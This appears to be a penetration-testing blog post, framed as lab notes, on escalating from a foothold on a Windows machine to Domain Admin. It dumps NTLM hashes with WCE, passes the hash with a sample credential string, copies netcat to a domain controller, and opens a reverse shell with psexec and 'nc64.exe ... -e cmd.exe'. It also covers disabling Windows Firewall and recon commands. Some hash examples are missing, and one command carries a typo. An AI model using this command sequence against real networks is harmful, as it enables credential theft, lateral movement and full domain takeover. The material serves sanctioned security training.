This post is meant for educational purposes and the methods should only be used on servers/machines in a lab environment, or if you have the prober permission from the owner of the target(s). Basically this post is just me sharing my notes about how I did these tasks in my labenviroment.
So you managed to get access to a Windows machine of some sort inside a bigger network, and want to escalate your privileges, first to local administrator and later try to gain access to the domain controller as a user with "Domain Admins" permissions, this blogpost will give you some hints on how to proceed in order to obtain your goal.
Escalating privileges to local administrator
First of all, we want to see if we can get from our normal user, to a user with local administrator permissions. There are of course many ways to do this, but you need to find a working local privilege escalation exploit that works on the version of Windows that your target is running. Exploit-DB is a good ressource, but there are many other alternatives to that site.
Once you have managed to escalate your local privileges, its time to find some more information about the other users on the system, if you are lucky, a user from the "Domain Admins"-group have been logged in, and we can use that to move towards the ultimate goal of our task. Really knowledge about any extra users will be a positive result for us.
Extracting user information
One of the ways to extract the users and their password-hashes, is by using WCE (Windows Credential Editor) to get the password-hashes of all the users that has been logged onto the system.
This will return some strings in the format of:
After getting the hashes mentioned above, you can continue by copying them all to a file and try to see if you can brute force them with 'john' for example. However, this is not really necessary to do in order to move on, but on the other hand, the plain text passwords might come up handy in some other situation later on.
Pass the hash
Like I mentioned, we actually don't need the plaintext passwords in order to proceed further into the network, this is because we already have the hashes, and with a method called "Pass the hash", we will be able to authenticate as another user using only the hashes that we got earlier from WCE.
So lets say, that one of the lines that were returned from WCE, was for the "Domain Admins"-user "billy", johns hash could look something like this:
Then by using WCE.exe again, we can swap our NTLM credentials on the fly, in a way that will make Windows think that we are actually authenticated as billy, and be able to use his permissions to move around within the domain. In order to do so, we execute the following command:
wce.exe -s billy:COMPANYDOMAIN:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 -c cmd.exe
A new command prompt will spawn, but this time it will have the permissions of the Domain Admin 'billy' - notice that this is done without actually knowing the password of 'billy', but just by using the NTLM credentials. As long as you keep that command prompt open, you will be able to act just like you were 'billy', and do 'net use' commands and so on, the 'whoami' command will still show "nt authority\system", but that is fine.
Engage the domain controller
Its time to see if we can gain access to the domain controller, to do this we will use a tool called 'psexec.exe', which is part of the PsTools package that can be downloaded from Microsoft themselves.
PsExec is a managementtool that can be used to manage Windows environments in an easy way from a commandline. Sometimes its the quickest way to change a users password or add a new user, instead of having to login with RDP to the domain controller. I wrote another short blogpost, with some nice examples on how to use psexec.exe, psinfo.exe and psloggedon.exe, if you already know PsTools, you can just continue reading.
Now that we know the possible commands that PsTools offers, the following can be utilized in order to get a command shell on the domain controller, uploading a copy of netcat, and get a reverse shell back to our Linuxbox. Ultimately it would be nice if we could just use psexec to spawn a netcat with a reverse shell, but for some reason that is not possible (at least I couldn't make it work).
First download netcat for Windows here, notice that it comes in a 32bit and a 64bit version, and that its important to use the correct version for the platform that you are trying to run it on.
From the command prompt where we used WCE.exe to change our credentials to the "Domain Admins"-user, billy, do the following to upload the 64bit netcat to c:\ folder of the domain controller:
net use \\192.168.1.1 copy c:\path\to\nc64.exe \\192.168.1.1\C$
Next up, we have to launch a netcat listener on our Linuxbox:
nc -l -v -n -p 4444
And now its time to make the domain controller launch the reverse shell in the background:
Psexec.exe \\192.168.1.1 -d c:\nc64.exe 192.168.1.x 4444 -e cmd.exe
We have now pivoted on to the domain controller, and have a command prompt belonging to 'billy' who is part of the "Domain Admins"-group. This means that we are no longer dependent on the client machine which was the first entry of our engagement. You can now continue by making sure that you can always connect back to the domain controller by setting up a more persistent way to get in.
Windows Firewall options from command line
Sometimes it can be nessasary to turnoff the Windows Firewall in order to get full access, an alternative could be just to open the extra ports that you require. Here's a few examples:
Check the status for the Windows Firewall:
netsh advfirewall show allprofiles
Turn the Windows Firewall off for all profiles:
netsh advfirewall set allprofiles state off
Turn Windows Firewall back on for all profiles:
netsh advfirewall set allrprofiles state on
More Windows recon:
net user - list all users
net user username - more information for a given username
net start - shows all running processes on a host
net stats srv - shows statistics from the server
systeminfo (shows a lot of information about the server)
systeminfo | find /I "System type"